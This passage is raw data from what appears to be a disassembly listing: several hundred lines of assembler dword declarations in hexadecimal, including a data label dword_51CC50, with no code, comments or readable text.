		dd 0D5353B03h, 6028E217h, 9AFC4D02h, 0AFC11D24h, 0BAA6C098h
		dd 0F88B5FD8h, 459A6803h, 0E8748D73h, 4840902Fh, 0A6001464h
		dd 0EFB0F9B4h, 5A000322h, 6BB57826h, 8FC543h, 0B12FCA75h
		dd 70FA5298h, 5DD94E00h, 0A2F8EB8Bh, 0E84D1786h, 0FECE007Eh
		dd 393F8126h, 8B644C00h, 4B9AD227h, 0AEBF02DBh,	0C946D34Dh
		dd 5465E060h, 17728000h, 0C7E8CBDh, 0A7EF00C2h,	7B8F948Ah
		dd 0DB072957h, 2765F0D9h, 4B669D00h, 0CFD80083h, 0D36321F5h
		dd 3E032304h, 614CC7A1h, 374EE96Ah, 3CED9E8h, 0EFDD0365h
		dd 580E861Eh, 0C094F648h, 0EC6A9D41h, 0FD6C0316h, 6D5F4D66h
		dd 0E0CE0BF1h, 2000BE51h, 3B16775Ah, 0F85A14Fh,	7C469150h
		dd 288D7480h, 690E6DDBh, 409B9D38h, 0B924806Bh,	0FCB73B7Ch
		dd 681ACF00h, 33D2B5A0h, 0A7000E7Fh, 52BA81D5h,	1365A87Fh
		dd 0E63D43Dh
dword_51CC50	dd 1740C1D0h, 0ECC3992h, 31CF2000h, 0EDC4D7DDh,	0E31B00E1h
		dd 49E4EB5Bh, 230F737Fh, 807591B0h, 9612DA7h, 672B0FA9h
		dd 2B2BFC4h, 4A7CA83Eh,	66E7B480h, 120797EEh, 5ABEA44Ch
		dd 0C93C0039h, 400ED0C7h, 0FD007942h, 9DAD6D2Ch, 2440A25Eh
		dd 801453B4h, 72BFDA78h, 7626D0E2h, 11027470h, 0C80A5F45h
		dd 60C9EF50h, 199D1875h, 84C10D3Dh, 49CF13A0h, 0ED1AEE0h
		dd 37C6B858h, 6845DD80h, 7E81243h, 0A3018C00h, 335C2DFEh
		dd 3E9800ABh, 0B0CB185Ah, 0CE24BF37h, 5626D404h, 9FA45D00h
		dd 0AA71FFh, 75EC0229h,	0D191CC2Ch, 3C0B03Ah, 81B4AFC4h
		dd 829BB93Ah, 6E30C0E2h, 5D0A00C6h, 6699BD10h, 71120580h
		dd 780026D6h, 6F96F10Bh, 0C8AA1FB6h, 6B208098h,	0A8C956BBh
		dd 4FEC61Fh, 0A20A3040h, 0CB68DAh, 0CCC849F9h, 0F427E31Ah
		dd 7A003278h, 0F3049F6Bh, 18ADAC96h, 60D5C0A9h,	3B148274h
		dd 0C878E8h, 89DDF1ABh,	0C0D03D8Dh, 0FA70E620h,	2B001079h
		dd 2E6DE42Fh, 2A29DFh, 0F972D825h, 0FC5E0CE2h, 9E00207Fh
		dd 365C56DBh, 4AECE9h, 22F0BC8h, 527D815h, 32A8BA02h, 80C9BC6Bh
		dd 2E456FF4h, 9D01360h,	0E208007Ch, 0E63BAFAEh,	8496493Bh
		dd 0A2629FFAh, 7E070480h, 287B60D5h, 19BAEC23h,	48F85458h
		dd 0CA9300ECh, 0E64CC34Fh, 9C30C2A5h, 0D6809D5Ch, 0E44B3D68h
		dd 0DFC3CE00h, 0E9FF0A89h, 0C40BA56h, 5187C74Dh, 0E0B031B8h
		dd 3A297C05h, 3BC4DC14h, 6B7D74C0h, 736700CAh, 0CDE02A0Fh
		dd 9300FE61h, 0E2B2A9DFh, 0DEB25h, 639BE5D6h, 0E8185ACh
		dd 4C795B79h, 0A102777Eh, 26AA4D7Ah, 1859C0E1h,	950100F8h
		dd 0EF41906Ah, 692451F9h, 0B800857Dh, 9C98963Fh, 0B10400EEh
		dd 34BEE984h, 8F075E97h, 78B64CCAh, 4A7EB70h, 0C5700F7Eh
		dd 1E076EDh, 802F88F9h,	71108709h, 0A2500009h, 78AD98h
		dd 0AEC38F6Ah, 5BA92F4h, 0FE00FF7Eh, 0E18C4021h, 77B7F14h
		dd 30D307D1h, 1CDCC0D2h, 0DD00177Eh, 691A602Ah,	2462D043h
		dd 9EA413CEh, 6EF24BDBh, 4F05E080h, 2600A7B9h, 79A02CFAh
		dd 39AB6F9Ch, 0C382F99Dh, 0D0F858DDh, 2800A88Bh, 1AAAE6EFh
		dd 89C4FA00h, 4A017491h, 5C813F3Bh, 0F57A0900h,	65E31357h
		dd 9FB8D4A3h, 0B500ACC8h, 7A5AE5C3h, 7CACCC0h, 979D9004h
		dd 0F0A72008h, 5707B385h, 59D4E0FFh, 65C0604Eh,	0F760ECDh
		dd 6FF3F033h, 0CB0CA281h, 0D07C2151h, 295C324Ah, 12E11F40h
		dd 0C1EAA441h, 0EC3045C8h, 39A50068h, 0E446BA93h, 56B0CAD1h
		dd 1ED46A5Ch, 0E8809486h, 595C933Dh, 5ACB00F4h,	65F2E2DDh
		dd 0B10BD864h, 0A0CC2538h, 129AB574h, 4B590043h, 0F3135FD6h
		dd 3B508423h, 2724398Ch, 4507F351h, 9960A656h, 3D4A343Fh
		dd 0A8C1669h, 0F44860B7h, 669744h, 4CE54AF2h, 319591B2h
		dd 5608572Eh, 1FC30D07h, 7B982DA0h, 72300CFh, 65108516h
		dd 7201D796h, 0BDB9B784h, 0E0706919h, 3BD8006Eh, 0D0504604h
		dd 0EC32B5E9h, 10057062h, 9E13DF77h, 611C49CBh,	4DAFB680h
		dd 0DB538Ah, 62BFCDB3h,	845DEBB7h, 0A7E0E9B0h, 0A2DCB101h
		dd 136AFECBh, 12EA0D8h,	0D4BDBF01h, 2038DD4Dh, 15044A14h
		dd 0BBED5CC0h, 1A5E00BEh, 0CC9C71A6h, 421FFF06h, 2AECB5Ah
		dd 78FDE3C8h, 0C8E0DC04h, 0DB056E8Ah, 0A8CEAC80h, 6FE910C0h
		dd 59778Bh, 0A2323E96h,	930FFC78h, 0BEA61B07h, 14310AD4h
		dd 3EF169C0h, 1702FFD0h, 0F90DE2h, 7CF758C1h, 690061CCh
		dd 1DC31622h, 0CAA344h,	5EBFB9C0h, 0C519879Eh, 0FF461800h
		dd 166E93E7h, 10310006h, 0B5D2CC83h, 9748DC1h, 87B85738h
		dd 6C355D99h, 0DFFC63A0h, 1C47F7Ah, 68223733h, 0E40DABA9h
		dd 1202F501h, 64E14272h, 47326046h, 2B2A0069h, 0A65AF1DEh
		dd 6A7931EAh, 0C7E83000h, 0EF72C123h, 988958A2h, 65FA5800h
		dd 3FC4BCB8h, 95EA0A0h,	0B10C3A2Ch, 0C6326700h,	0FF77361h
		dd 8A916DB1h, 443003Dh,	887CA458h, 0B4534126h, 4C00AC20h
		dd 0DAF94EDCh, 0E9C961h, 8925313Ah, 676C4468h, 0AD941700h
		dd 0D1BBBCF6h, 0BD42F321h, 20CC8087h, 56CB93h, 58693FDBh
		dd 0D47FB540h, 0BC227E03h, 7EACCC34h, 0BD5FEA0h, 3DCC480h
		dd 24FE3C0Ah, 852300ECh, 0F23F86B8h, 0FF8DF609h, 0F9DCA4A1h
		dd 0FC40A4h, 0E1C38C10h, 73204C01h, 250B648h, 0EBDA30DEh
		dd 0E4F8C07Eh, 0A74B50h, 6A5DB054h, 9A07FC8Ah, 73CE0AAEh
		dd 0FD92CE0h, 26C40388h, 40277C62h, 7F8AF08Fh, 8B0189FCh
		dd 201A836Bh, 0E824932Bh, 805C9687h, 1DED52C6h,	67EA8F86h
		dd 7DA3A0A0h, 0B7000D72h, 1B1CFB03h, 0F1A1957h,	0CC466F13h
		dd 0D5BA7640h, 551C1FACh, 0F580FEF6h, 0BB139904h, 0C78A034Fh
		dd 7F518D2Eh, 709BAAB1h, 9C00ED08h, 258F6B72h, 0E4AEBA8Ch
		dd 0FB8A0DBh, 0FB400071h, 9CDAA45Eh, 772AD8D0h,	0AB00C495h
		dd 0AFE99E1h, 486C1668h, 0CC00949Ch, 0AD64F50Bh, 4B0EF094h
		dd 0C7F984A3h, 6F61D111h, 0B8402923h, 0B5CB5h, 228075C6h
		dd 11853B95h, 51D30900h, 54C4D7D8h, 441801DFh, 9C3F9F73h
		dd 0A05F3095h, 0DA58117h, 304803AFh, 0E2E02CB2h, 0C09A08CCh
		dd 728A8B01h, 91B6760Bh, 740EFC2Ch, 29002E9Bh, 52C1DFC7h
		dd 76E633B8h, 2D3B4800h, 2EA2F169h, 0B0F2CCh, 0BD3E8FF0h
		dd 65F46A89h, 0DC2AD00Bh, 0C87C81FDh, 3AF0A374h, 0BF60B7Eh
		dd 0EB00BFF3h, 3C2E4609h, 3806E33Bh, 2A9E0913h,	0A7DA8003h
		dd 15EC4F1Fh, 80E8DF9Fh, 6059D000h, 4D8FAE8Ch, 90277E13h
		dd 60D9A40Fh, 1D8DEAC0h, 0BA4E61h, 3C820950h, 2C03DEBCh
		dd 20C51E3Bh, 0EAB5BB83h, 0B9F440AAh, 0FACA753Dh, 46D80E59h
		dd 7BC98C7Dh, 0BA651E80h, 4301B935h, 0D2807C41h, 40804ED6h
		dd 4C1A7F3Ch, 45071E59h, 0DA12E08Fh, 60119372h,	0C0ECEF54h
		dd 30347DB1h, 18009D74h, 1DA35A27h, 987336h, 0AF1F45C9h
		dd 2C0208ACh, 279CCB02h, 0C0A1ED64h, 5A87977h, 0AE7F8275h
		dd 9CD08018h, 0B02874AAh, 0A307D864h, 0B2263AB5h, 50027C12h
		dd 0F10524D4h, 1BCF820Ch, 0CE0B83Fh, 1F0024D5h,	993DF27Fh
		dd 423A63Eh, 0B9132252h, 0D1788034h, 4B009702h,	0D43FD0F5h
		dd 0F7D25Eh, 0CC905970h, 786CB62h, 21AF9900h, 3D654BCFh
		dd 0B67700F1h, 1F2832C1h, 99008FDAh, 4D5155E1h,	1EF9A64h
		dd 187DEC66h, 0F4AE6CBFh, 950006CDh, 0DF5E1CE0h, 0E5083h
		dd 8D8F5C47h, 7370B327h, 0C40099F0h, 5DCB290Dh,	9ABE5Fh
		dd 89649B38h, 1506BFC9h, 0E162E00h, 0C01058F2h,	81A403F4h
		dd 857C2FC2h, 31B826FBh, 21038646h, 0BF1923CEh,	5E3AC022h
		dd 8BB04C08h, 48F87C00h, 37C6562Ch, 0CBA04076h,	9800D550h
		dd 201CBA55h, 0E743621Eh, 2ED4B7ECh, 0E4FD4Bh, 3715D036h
		dd 7C00E77Fh, 84851D26h, 1D8BDC9h, 2D4E73E9h, 0FCF4118Ch
		dd 991ECD50h, 35C024EBh, 0D7EC7B2Fh, 8C1B01AFh,	1A3A0D74h
		dd 0CC47E018h, 0D800EEEAh, 0B5E2499Eh, 2C05B672h, 0CBF6E34h
		dd 0BD202B9Bh, 0A9190A7Ch, 2A118E7Fh, 7BD2E0h, 40DF4BBAh
		dd 0F575379Bh, 2C855100h, 6EB61AB1h, 0C672004Eh, 0CB523687h
		dd 0EF7E0E42h, 89610263h, 0C186E446h, 0A7EC8011h, 0B7D63082h
		dd 13BDD460h, 0E479D18h, 18FEE20h, 16835633h, 9687CE52h
		dd 5B1CA08h, 4894EEF1h,	83183049h, 9B29280Eh, 2B23CC00h
		dd 0BA17FD53h, 0A7960078h, 4B64366Fh, 0E013545h, 63F80399h
		dd 70EC98BCh
		dd 55FC12CDh, 0CE3D0015h, 49FAC04Ah, 8FF63F0Fh,	10180089h
		dd 0BDB0E4h, 6B5D85E0h,	0B18CF948h, 73B21B06h, 5789E2B3h
		dd 5DE004EEh, 10C01D9Bh, 7AE3D8A7h, 8754002Ah, 35B9F8Bh
		dd 0C80FA922h, 80654621h, 0EC5F7B7Dh, 0F8ABF8FAh, 29FC3E84h
		dd 318A2B01h, 843A2639h, 0B0F0D159h, 11508086h,	76A0A36Fh
		dd 16851F19h, 0B6F43B29h, 9398A06Bh, 3A671387h,	15D00057h
		dd 0EFE70B7h, 35EB4A03h, 1404C91Dh, 603776B9h, 2126A522h
		dd 6F1851DAh, 0E3BD618h, 0CC117791h, 0D32055Ch,	0DF7020D9h
		dd 221F028Eh, 5C2D6423h, 893E0312h, 0E8221E32h,	97A90109h
		dd 560E8E15h, 1FA1706Fh, 813D8230h, 56452FFFh, 8F064C02h
		dd 5EDCEC9Bh, 0B9FB1D0Ah, 7B85BC65h, 0C020290Bh, 3091DED1h
		dd 0BDA90A87h, 0BEE17CF3h, 147F0738h, 0D4001E2Eh, 1299D85h
		dd 0E13A6F6Dh, 808A27C9h, 469384C0h, 14A590D7h,	0A028377Fh
		dd 71415C18h, 7C032505h, 4610112Fh, 844A0021h, 0F165C8DEh
		dd 8D04A5FEh, 55F0D82Bh, 1776E080h, 42EB3185h, 849C48h
		dd 30CD6FD6h, 14B90926h, 0D9120B77h, 0EC066ABDh, 6008B2B5h
		dd 80F52146h, 0CA00FE0Bh, 2EC0A951h, 3168F492h,	5B603F1Ch
		dd 6E3401FDh, 48C3B08h,	0BDD70B79h, 2018627Ah, 0A50B82CFh
		dd 549AAC05h, 0F004477Eh, 548017BDh, 30753AA4h,	0CE61EC42h
		dd 0CF0332DAh, 5652E689h, 0A353CB71h, 0C321000Ah, 0ACEB310Dh
		dd 0AE00A04Ch, 399B37F7h, 3345871h, 1D93EF5Bh, 3118FEA2h
		dd 0A893329h, 0C199007Ah, 9E0FE2DFh, 8F14058Eh,	2CC7C32h
		dd 94C33520h, 85E8870Dh, 709153B4h, 0D0551D5Dh,	0FE160D80h
		dd 0D4900080h, 5E515A8h, 0C901924Fh, 2F6FDC51h,	3983DF95h
		dd 32B32EB7h, 45687780h, 0E05D4C00h, 698B4AAEh,	53C91E7Ch
		dd 0E2A700B5h, 0F191326Ch, 0C70DC200h, 5503EF86h, 18460E27h
		dd 45C0CF94h, 37B35842h, 183B7736h, 0EE200FBCh,	0A1C38519h
		dd 0E0B7AADFh, 0EC35C6Dh, 7003EAF8h, 0ACEFDB48h, 401C896Ah
		dd 7E3EF9E4h, 0AB73A39h, 93B6DD0Ch, 0CC0C4250h,	798F8303h
		dd 71A700F5h, 6075CA45h, 0F100A4A2h, 0AA544C8Dh, 5A4DFCh
		dd 5116391Dh, 2F76DC87h, 8978F103h, 0AB60D0F2h,	67CE880Ch
		dd 1A78F3h, 391347D2h, 4E0776E6h, 982E993Eh, 0C1481D84h
		dd 3D31013Fh, 0EB04591h, 27E08C74h, 99CA50h, 2414AAE3h
		dd 0A60698B5h, 61F45090h, 112CB00h, 9720FB05h, 0D4C10081h
		dd 26433542h, 1F30DD0Ch, 0E661821h, 602500CBh, 589E74D5h
		dd 1B078D98h, 648CFEC2h, 50F935B6h, 619D249h, 230E5526h
		dd 0E400181Bh, 0A6CDF82Ch, 3DD36Fh, 1C47E178h, 186596F4h
		dd 502CD514h, 0CE091DB0h, 0A0FEBBCEh, 31C11719h, 2E830012h
		dd 387AAA91h, 470349A6h, 0E5BD8ACh, 1EEEC094h, 0A9663A6Ch
		dd 0E62E9500h, 4677A383h, 116613Ah, 3DBD9DECh, 9940B8A9h
		dd 3A94F86Fh, 29629929h, 7A2218ADh, 70F12237h, 0A0785827h
		dd 929C4D8h, 42F5484Ah,	0A525FC9Ah, 141A280Ah, 4842910h
		dd 51714CABh, 0EB080021h, 0BDDF840Ah, 0D0005A1Ch, 0B43DBC9Ch
		dd 199E873h, 0F6C6AE83h, 0FC252893h, 44E6FDF8h,	0EDD6E700h
		dd 90BFB822h, 0C9A90082h, 98ADA58Eh, 5100C59Ah,	6FC2047Bh
		dd 0EA7CFAh, 0D8610AA4h, 0D293E73h, 6D656600h, 52F388AFh
		dd 0CA3F004Ah, 0A8F46A2Eh, 3C00EBC6h, 7D39C98Dh, 3D8881A6h
		dd 0B2807ED4h, 170E250Ah, 6701BB84h, 0AC8BFEF5h, 12F4A7FDh
		dd 2754Bh, 89CABAEh, 0B4B0F3E9h, 86DB560Bh, 61CC8F8Fh
		dd 0A4491B75h, 74ED30h,	0BDA59945h, 0F783CB10h,	60DAB10Fh
		dd 30EAA0E0h, 0F4A6951Fh, 0DFB0BFEh, 1500768Dh,	0C2642875h
		dd 0F82EE300h, 0C66D6F74h, 8F9A0FF3h, 0D6E077F7h, 0F29E2F90h
		dd 1E580200h, 76EE2347h, 8AEB00A7h, 3F38DB72h, 0FE3E260Fh
		dd 0A2C78F2Fh, 9F6FA017h, 2491574h, 0B78D99E3h,	3440A16Ah
		dd 8500F2A0h, 0B98EC5A9h, 0E461D5A8h, 418C0E39h, 0D9A0B3B5h
		dd 274EE298h, 95A7DC07h, 3D90306Ah, 0FAF4CAh, 0EB9FA413h
		dd 838920B6h, 0DBB721Ch, 7D16C9C3h, 0A38C0F45h,	0C063D643h
		dd 711DBF34h, 4CCE3E05h, 0E71F4004h, 0E987BE6Bh, 0E85DB843h
		dd 7BD472h, 959EB10Ch, 8633FEC5h, 0A743770Ah, 6D039876h
		dd 0F8DB02AAh, 169D7806h, 0DE5710h, 0C2C5972Eh,	23EE869Ch
		dd 15F91F00h, 0B304AF0Fh, 0D0B1F40h, 4483DD70h,	0AEFB1928h
		dd 580A5280h, 0E4B200CFh, 0AD7B683Fh, 1D3B8CDCh, 0BC6F0790h
		dd 5D203175h, 0F6914025h, 3D5B00F0h, 28FD2A9Eh,	1D01CABEh
		dd 0B957F2E3h, 2DE41416h, 0A23B00E1h, 4F5E8188h, 7F002EA6h
		dd 9E4148BAh, 0EF65FEh,	0F0C6D574h, 66768B38h, 2BB3Ah
		dd 5B392F56h, 704EE567h, 3371272Eh, 5900EA76h, 0EBF6C729h
		dd 14470003h, 83515626h, 0D400504Fh, 0C3F8742Dh, 0AB68BFh
		dd 763EED06h, 1AC9412h,	9362BD00h, 4BEB59E7h, 66110F1Bh
		dd 0CA40C996h, 2D18299Fh, 12A3058h, 3CC3CEE0h, 92E49DFBh
		dd 0AAC01C0Ah, 0BAD84041h, 6503F809h, 0B99B8E00h, 90461FB3h
		dd 0C02E7DF4h, 0B46C1D28h, 21007ACEh, 6BDCC5FFh, 0EE932524h
		dd 0ACD008Ah, 8FE922Dh,	700715FBh, 0F8A6721Fh, 0EFC3E660h
		dd 0D0C50EF7h, 0B422530Dh, 0D9202A28h, 301CB879h, 0A1100510h
		dd 941FB793h, 0E340F858h, 56301AB1h, 617307B6h,	4125EB67h
		dd 808DDFA3h, 2CFD0D30h, 0DF0364Ch, 3EAF54FEh, 5DEAD85Ch
		dd 0E1185E00h, 6C0BA2F3h, 639B009Fh, 828DC2C9h,	3C007327h
		dd 0BC3710EAh, 72AF15h,	5FAC790Dh, 0E0480CEDh, 0B1FCEF00h
		dd 27546206h, 9E6800E1h, 838D259Fh, 0F0002D13h,	8C8A403Bh
		dd 70D73Eh, 0AA222369h,	987A9CD6h, 313F13Dh, 0A4E8FAB0h
		dd 0C152D88Ah, 32BC00EAh, 8798CECDh, 0B6072504h, 94682838h
		dd 0AF4A79B0h, 7B9A00AAh, 8AB90D4Ch, 0DA1DEB70h, 0D29D6D44h
		dd 3216CE00h, 58F4E7h, 129EBFB0h, 8C11EA82h, 1E68104Ch
		dd 0DB40DF4Dh, 0C1F8DACFh, 8D440E20h, 0F9ACD225h, 0CE006A10h
		dd 40C245D9h, 35DB5Ch, 0E4A4EED0h, 0BB184CD5h, 0A8DFDC02h
		dd 90879136h, 0FDA5F94h, 5162B4CCh, 0FFFCD840h,	0C373D14Ah
		dd 0B39B0200h, 63CA929h, 0CEFD3D90h, 42823500h,	0BB8941D7h
		dd 1E691C00h, 72DED527h, 0B0E7008Bh, 40E4349Bh,	3608E88h
		dd 0CAACDA6h, 0A0010019h, 0D4865B8Ch, 170A2269h, 0D897C78Eh
		dd 0B4468503h, 536AB8B7h, 5AB23C38h, 7FC7B17h, 404A8600h
		dd 0D74CFDE5h, 3DEB8900h, 0FF4376D6h, 1CEE03F2h, 4575E256h
		dd 35D91100h, 5A1B74DEh, 8F7738D4h, 33DB1860h, 0C5007688h
		dd 9020A768h, 16BC7FEh,	87ED13A0h, 0E0C11B80h, 99000981h
		dd 0C7DF03F9h, 72C490Eh, 0EFF492D4h, 43E4E0E5h,	8900AD72h
		dd 13E6CC95h, 0B3975Fh,	6011A97Bh, 0EEE48112h, 208CC801h
		dd 0C79EF3C2h, 8B351180h, 8F10D330h, 1B96F607h,	0DA904741h
		dd 0FAC221C0h, 7CF80077h, 516C8E09h, 9C003D04h,	8D00F8Ch
		dd 610C94h, 0F4BC3419h,	0E3971D55h, 0DDB80200h,	390EEC6Fh
		dd 5DB224BEh, 0A56300D6h, 0E707A1C0h, 9A953Bh, 0C644B84Ch
		dd 1EF848Ch, 23810922h,	0E43CE5D4h, 6B00AD2Eh, 2662A4B1h
		dd 507A825h, 90EC602Ch,	0D6DBC0BAh, 0B20E2DD3h,	4AD11h
		dd 8E607E26h, 9B575042h, 0E31500D7h, 1BA2D93Dh,	2B00B1E4h
		dd 0A5237E71h, 6B7BF1h,	795C6FBDh, 1B940AFDh, 81123090h
		dd 64073507h, 8BD06404h
		dd 306E010h, 0AC9BB84Fh, 28383CEAh, 66370098h, 0DC2174CBh
		dd 0C148C05Fh, 256ED824h, 0C036E002h, 40176518h, 8F0954h
		dd 705610Bh, 0A9DE23CEh, 7BF86B0Fh, 69013D8Ah, 0CC8B3B5Ah
		dd 0AF5160h, 537D98ACh,	6E91BC20h, 3AEEFF00h, 1FD0396Ch
		dd 0D39648E8h, 86D8602h, 4057A760h, 9E4511h, 3258D529h
		dd 0B7FEF36Ch, 1B1EB074h, 45402B37h, 0E56F5D4Eh, 0EA634C18h
		dd 28CF2Eh, 75DB979Ch, 0D3072CA1h, 0D1E739C8h, 4600FDAEh
		dd 26936FE2h, 1785308Ah, 0AB1AC758h, 412C2FE4h,	191F6181h
		dd 20BC4544h, 0F66D0080h, 0C4F3008Eh, 0F408A1EBh, 60F56377h
		dd 0C616861Dh, 9500EEF8h, 4984E353h, 21B0B2h, 0D97E28D0h
		dd 820C7AF4h, 0BAD6B600h, 0CF52A769h, 47860038h, 2DBB05ACh
		dd 0B80754C9h, 0FEEB8BE6h, 90B3BD70h, 24CD074Ch, 409610E8h
		dd 4AC4B528h, 0D7E458h,	931E3F8Ch, 1D686A04h, 188C60Bh
		dd 3E61DF9Fh, 0C45B71C9h, 0AC9A7F12h, 268EA000h, 8BAECF77h
		dd 0A6A10E5Ch, 99C09211h, 0B0D2DD38h, 0F0B8D300h, 1024F58Ah
		dd 519500EAh, 62B1CF34h, 0E5002647h, 3FD27DA8h,	17B0CDh
		dd 0FAD1A9DFh, 56F00CFFh, 0A5EA9D00h, 72FC7E6Dh, 32423A37h
		dd 1F4DF280h, 2745A3E2h, 84FA1C03h, 0D001A780h,	3B95Ch
		dd 4AB73C9Ah, 2E02A436h, 65EC9000h, 0D012BB57h,	0ED881F68h
		dd 0A7BDCB0Fh, 61DC6DA0h, 3B0F6EEAh, 0A0D52F8Fh, 67AE295Dh
		dd 2E4F0016h, 36310E9Eh, 0B64C9324h, 1F5B1F6Eh,	0AE9D1800h
		dd 1E2714Dh, 460FD5B7h,	0F0AD08F0h, 0A1003CA8h,	9816B5F9h
		dd 70B2AEh, 0F38FEF85h,	8CE242FCh, 7A3C3900h, 550B6B84h
		dd 0A94C00E7h, 0E8D57EFh, 32003FB2h, 81D606E1h,	127C21h
		dd 2AF2F84Eh, 49AEDAF6h, 0DFB36100h, 0AB217769h, 0B48E303Dh
		dd 0AE4DB510h, 7F3C50Eh, 0A0704063h, 18230FCh, 0AD5260A4h
		dd 0D392C64Fh, 0B99CC5B0h, 28CA8800h, 0F806F9EDh, 0B020266Fh
		dd 0EF5D0004h, 0CB916A1Eh, 0AFCC4000h, 0CFABE117h, 1FFD0003h
		dd 0FED96CF3h, 0E300ECBFh, 8120251Eh, 0FEF535E9h, 5F65073Ch
		dd 90772840h, 0ED6277Ah, 29AD900h, 0EDB4647Ch, 18FAF4FBh
		dd 18D2D479h, 6300AE9Eh, 60E3A51Ah, 6CE135h, 0CF2F8D8Ch
		dd 0FFED5D41h, 8A393600h, 0CC608467h, 0A352C3Ch, 85D6015Bh
		dd 0C89314EDh, 0CA072A3Ah, 0C69F74CDh, 58833DD0h, 35C90304h
		dd 6A84CF36h, 92576098h, 1A4B880Eh, 44E6A3C3h, 4120001Ch
		dd 682CDF20h, 0B5008F80h, 6BDB60FAh, 30E5FEh, 4C877870h
		dd 0A0F19988h, 1564FF50h, 2A51400h, 7124EF61h, 9F0F008Bh
		dd 86CF160Eh, 44001D0Ch, 0A28DC57Dh, 0A712E5h, 0C6ED8417h
		dd 922920C0h, 0FE7410BAh, 0A3EFB003h, 0EF910770h, 0E4C346C0h
		dd 0D3F300F6h, 0C92E32DBh, 0F779C7Bh, 727E6E01h, 8B3CE7ECh
		dd 16A8E2F4h, 132F9052h, 54FE00B2h, 48609E46h, 1856871Dh
		dd 0D4596440h, 0C6378Ah, 21D0FB5Eh, 3533544Dh, 7E00A048h
		dd 1F004EE0h, 2B491774h, 52A1380h, 0E96AE757h, 0E3B3802Dh
		dd 8933BE5Dh, 0B8B5F85Bh, 0B84E510Dh, 5CB40248h, 295421F5h
		dd 0C560C040h, 4F9A4018h, 602BDB92h, 430269CEh,	440072BEh
		dd 0E6E4E125h, 2E0B1Eh,	0EEFF888h, 0CBD62D52h, 92003E7Fh
		dd 7B94FD98h, 0E5C919F6h, 801160h, 0BE288BBBh, 8EFD82A0h
		dd 8421DCFFh, 6382FF50h, 647838h, 0A6226FA7h, 907FBFB8h
		dd 0FAD579C7h, 6BD2008Bh, 4010F95Eh, 9A3D76B2h,	3E2B2ED9h
		dd 0F3D8CF00h, 0F58106h, 721D8658h, 89F26EF1h, 4906978h
		dd 652DC70Fh, 4E59C076h, 850718h, 0A0E738AEh, 0B63AD492h
		dd 0EBF1D90Ah, 803DB773h, 80EC0F4Fh, 886F6Eh, 0AC4E7DE1h
		dd 0A9F8AFBFh, 508C5E00h, 0AAE616CEh, 0B0593F30h, 0D42BC70Bh
		dd 0A03D1C84h, 13162A14h, 0D8407C81h, 731F8462h, 0DAC6079Dh
		dd 8FE0D688h, 66DC00B6h, 0AE0AB06Ch, 9712700h, 8837FE94h
		dd 0EBFD037Bh, 627A123Fh, 424CD488h, 616A241Dh,	6CEF2900h
		dd 3B3AC7A1h, 360009BFh, 973D1E89h, 1200F472h, 7A573901h
		dd 4C9143h, 33248649h, 34766DEFh, 250E8901h, 5C8515BDh
		dd 381CECh, 14FE3C7Bh, 70A5BB7Fh, 59F0C800h, 50465F11h
		dd 294A1685h, 0E0280089h, 0FB489C94h, 82B8B000h, 0E2D8BC9Dh
		dd 0FCA800BDh, 2EFA99E6h, 4D01CD1Eh, 85A7EA65h,	0CE61CF78h
		dd 6832F8h, 60EB8C5h, 0E7058E23h, 286FBE2Ch, 8A037F26h
		dd 0F8C37404h, 1DB9AB8h, 108C1205h, 285F47A4h, 236D00ACh
		dd 0A3B00BB6h, 0D76A00FDh, 796317AEh, 0A61F0165h, 0B3401BA4h
		dd 0FFF381E6h, 9A1C09E2h, 0C0005A1Fh, 0CF85CE54h, 149B4C00h
		dd 0D5368C1Eh, 70C9A61h, 0CCDF2838h, 9E5D6064h,	625CDEBDh
		dd 4ACE0A3Eh, 5B09A934h, 7B30002Eh, 11E9E5h, 4FB09B62h
		dd 0A21B671Eh, 0CCB2B900h, 836CC53Ah, 6E25002Eh, 338CA993h
		dd 74481EABh, 0AE04030Ch, 68E457h, 73A7CE11h, 0A327C216h
		dd 94428100h, 0DF2A2169h, 556E58CAh, 8E249C00h,	7EC85C83h
		dd 26D2D601h, 3B38A5C2h, 1ECDE820h, 40AE3366h, 0EB996D2Fh
		dd 224825AAh, 0D435C4F4h, 1F80C108h, 0E06DA681h, 760E7EA4h
		dd 0B1590071h, 6B13DFBEh, 9C3D23B7h, 5A0075E3h,	3D3EA821h
		dd 507D08h, 89E6EF17h, 6D03D046h, 0E0FE0CB0h, 5E00E479h
		dd 0B43A270Ah, 369A7C3h, 9820C211h, 0BAC9662Eh,	3C7EC404h
		dd 3E839700h, 0FC62CE07h, 5592013Fh, 0D6E75E0Fh, 72F3F815h
		dd 212B941Fh, 0B1507AC0h, 3FCDA976h, 0E58035EFh, 0BC61B5A7h
		dd 0C1B862A6h, 94C60300h, 47AC2493h, 2B3800D1h,	4A63CACBh
		dd 221CB041h, 994020C3h, 0D490F609h, 0B44D0026h, 0DA07D1B3h
		dd 27044661h, 87B1E9E0h, 6E837884h, 59B3F831h, 55FB0050h
		dd 760A7045h, 6F0F8E71h, 40A78211h, 72EF8644h, 0FEC009Fh
		dd 3149BE37h, 2D005FABh, 8B7D7750h, 24DE8E08h, 78709Bh
		dd 5125CD2h, 7E3CC47Fh,	0D4D601A1h, 30A5F2FDh, 77A885F4h
		dd 546E002Bh, 3B714A3Ch, 33043ACDh, 0E9D4AA0Ch,	9F87080h
		dd 19201073h, 0D30D0059h, 4B1B6D30h, 46780067h,	4D93FBAAh
		dd 0FE04D18Eh, 98E764C9h, 350E0080h, 1BE20099h,	260391EFh
		dd 2109F090h, 0A0488537h, 4EC82E60h, 1B665C86h,	3BC6C050h
		dd 0DA817042h, 7D6EFDA1h, 384DE880h, 1D140200h,	0BD155D46h
		dd 16A41C1Ah, 0C180BEC9h, 0E8AD61A1h, 0A32E1903h, 6E005541h
		dd 4696EE64h, 0F43C7597h, 0AABE00C6h, 660CFD77h, 5B00345Fh
		dd 0B89382E2h, 483587B9h, 0AF1E1E21h, 0C99B184Eh, 2A7933E1h
		dd 0CC4F0500h, 0EC7C232Fh, 8843383Ah, 0F059A480h, 493483A5h
		dd 8B986F01h, 0AA6D0C58h, 1E01020h, 0ABCCA3C9h,	0D00679EBh
		dd 9C5CD34Ah, 0F1007080h, 86DC3642h, 7F8B522Bh,	1BFA027Dh
		dd 0C31C4030h, 77465868h, 80D0A427h, 6BE11834h,	0E36F3B96h
		dd 15729581h, 80C69E6Ah, 62DB2621h, 382FB9Fh, 0E602C204h
		dd 49A84C15h, 0BA1CB0FAh, 9B016FDBh, 680F896Eh,	11D41821h
		dd 196B0052h, 0F98DD18Bh, 80006799h, 1E5D0B7Fh,	136C93h
